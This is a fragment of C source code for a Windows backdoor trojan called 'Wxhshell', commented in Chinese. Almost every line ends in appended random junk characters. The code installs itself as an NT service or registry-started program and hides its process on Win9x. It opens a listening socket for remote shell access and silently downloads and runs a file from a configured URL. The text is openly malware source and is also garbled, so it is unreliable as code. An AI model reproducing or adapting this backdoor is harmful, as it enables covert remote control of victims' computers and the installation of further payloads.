DWORD BasePriority; :)P<jX-G
ULONG UniqueProcessId; AQ@v>wr}
ULONG InheritedFromUniqueProcessId; `fW{yb
} PROCESS_BASIC_INFORMATION; _+zVpZ
1!/-)1t
PROCNTQSIP NtQueryInformationProcess; jp m#hH{R
|NEd@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bxv8RB
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H~m]nV,r
#AncOo
HANDLE hProcess; 'TX M{RGw
PROCESS_BASIC_INFORMATION pbi; .xpmp6-
Fp:3#Bh
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :dDxxrs"
if(NULL == hInst ) return 0; aIu2>
@}eNV~ROu
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R$xY8+}V
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2z-$zB<vyw
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]p$zvMf}
\GHOg.P
if (!NtQueryInformationProcess) return 0; ~hD{coVTI
C
ktX0
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .;slrg(5F
if(!hProcess) return 0; Ed=}PrE
&s-VSu7
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'rx?hL3VW
X>/K/M
CloseHandle(hProcess); T~:_}J
GYqJ!,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cQ,9Rnfl,
if(hProcess==NULL) return 0; ;o >WXw
@ta?&Qf)
HMODULE hMod; 6z]`7`G
char procName[255]; %O /d4
unsigned long cbNeeded; s]bPV,"p
AP
;*iyQ[
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~R{8.!: >
NUu;tjt:
CloseHandle(hProcess); LR\zy8y]
:A*0 ]X;
if(strstr(procName,"services")) return 1; // 以服务启动 6EP~F8Kd
+:y&{K
return 0; // 注册表启动 lA4hm4"i(,
} &(0N.=R
^^
j/
// 主模块 lEa W7j
int StartWxhshell(LPSTR lpCmdLine) acP
;(t
{ DvJB59:_}
SOCKET wsl; eE,;K1
BOOL val=TRUE; J=P;W2L
int port=0; pe#*I/)b
struct sockaddr_in door; Yhk6Uog{4
2+&R"#I
if(wscfg.ws_autoins) Install(); 5m3'Gt4
/Tcb\:`9
port=atoi(lpCmdLine); ^yD"d =z
&vkp?UH
if(port<=0) port=wscfg.ws_port; f MzYFM'i
y&3TQ]f\
WSADATA data; J=VyyUB
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2mq%|VG'
QqjTLuN
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?N2X)Y@yi
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /KP_Vc:g2_
door.sin_family = AF_INET; R
^^1/%
door.sin_addr.s_addr = inet_addr("127.0.0.1"); voH4
door.sin_port = htons(port); I1~G$)w#
%Il ;B~t
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tgfM:kzw
closesocket(wsl); {a@hRY_
return 1; $~TfL{$
} `~|DoSi^d
`%%?zgY
if(listen(wsl,2) == INVALID_SOCKET) { -7,vtd[h
closesocket(wsl); gb9[Meg'
return 1; i&1U4q
} _&K\D
p&@
Wxhshell(wsl); !4L#$VG
WSACleanup(); ?.~]mvOR
bWUS9WT
return 0;
sxt`0oE
R;.d/U|av
} 9g4QVo|
;h~?ko
// 以NT服务方式启动 LEA;dSf
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &E`9>&~J
{ GP Ix@k
DWORD status = 0; tgK x 4
DWORD specificError = 0xfffffff; +RdI;QmM
-t%L#1k
serviceStatus.dwServiceType = SERVICE_WIN32; .u&|e
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8 `o{b"l+
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C*$|#.l
serviceStatus.dwWin32ExitCode = 0; s7vPI
serviceStatus.dwServiceSpecificExitCode = 0; q?1yE@th
serviceStatus.dwCheckPoint = 0; :"y0oCu7`W
serviceStatus.dwWaitHint = 0; OM1*Iy
m^5s>hUl
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /AoVl'R
if (hServiceStatusHandle==0) return; wd"TM
bD d_}
status = GetLastError(); Plb}dID"
if (status!=NO_ERROR) DqRLx85d1
{ N JXa_&_
serviceStatus.dwCurrentState = SERVICE_STOPPED; jjYM3LQcdP
serviceStatus.dwCheckPoint = 0; _qEWu Do
serviceStatus.dwWaitHint = 0; 5a8JVDLX^
serviceStatus.dwWin32ExitCode = status; '+tKvTU;
serviceStatus.dwServiceSpecificExitCode = specificError; HqB|SWyK
SetServiceStatus(hServiceStatusHandle, &serviceStatus); VVgsLQd
return; yW[L,N7d
} Jm%mm SYK
ofVEao
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8g-P_[>
serviceStatus.dwCheckPoint = 0; dG"K/|
serviceStatus.dwWaitHint = 0; $R8>u#K!
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <&KLo>B^
} R&]c"cO L8
5FZ47m ~{Z
// 处理NT服务事件,比如:启动、停止 i1tVdbC]
VOID WINAPI NTServiceHandler(DWORD fdwControl) bx;yHIRb
{ ?VUgwP_=
switch(fdwControl) ,9F*96
{ c{^i$
case SERVICE_CONTROL_STOP: E`Q;DlXv>
serviceStatus.dwWin32ExitCode = 0; 7&=-a|k~
serviceStatus.dwCurrentState = SERVICE_STOPPED; p| Vmdnb
serviceStatus.dwCheckPoint = 0; ;HR 6X
serviceStatus.dwWaitHint = 0; VjC*(6<Gj
{ 7 kEx48
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oi6f8*,
} P=&'wblm?
return; 2%`^(\y
case SERVICE_CONTROL_PAUSE: D!c1;IHZ
serviceStatus.dwCurrentState = SERVICE_PAUSED; wwo(n$!\
break; j!6elzg
case SERVICE_CONTROL_CONTINUE: E(7@'d{o
serviceStatus.dwCurrentState = SERVICE_RUNNING; B:B8"ODV
break; a|8|@,
case SERVICE_CONTROL_INTERROGATE: =U=e?AOG2
break; [0h* &
}; xi;/^)r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); U? {'n#n 5
}
F\o;t:
'.=Wk^,Ua
// 标准应用程序主函数 I93 ~8wQ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X!HDj<
{ I/oIcQS!k
~8XX3+]z:X
// 获取操作系统版本 hN Z4v/
OsIsNt=GetOsVer(); vsu@PuqH
GetModuleFileName(NULL,ExeFile,MAX_PATH); x%_qJ]o
oNiToFbQu
// 从命令行安装 : =
]sq}IN
if(strpbrk(lpCmdLine,"iI")) Install(); JmnBq<&,0
R)sp
// 下载执行文件 3Ne9%"
if(wscfg.ws_downexe) { i7i|370
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SPfD2%jjC
WinExec(wscfg.ws_filenam,SW_HIDE); &oon'q5;
} T@%;0Ro~
R;0W+!fE
if(!OsIsNt) { ZMdM_i?
// 如果时win9x,隐藏进程并且设置为注册表启动 UOn! Y@
HideProc(); 7( yXsVq
StartWxhshell(lpCmdLine); }f<fgY
} [?Mc4uT{
else C/{nr-V3u
if(StartFromService()) #H'sZv
// 以服务方式启动 "Czz,;0
StartServiceCtrlDispatcher(DispatchTable); fR+Ov8PCq
else 7p
P|
// 普通方式启动 9(QU2QY
StartWxhshell(lpCmdLine); "z^BKb5
2$o2.$i81
return 0; &>&dhdTQ
}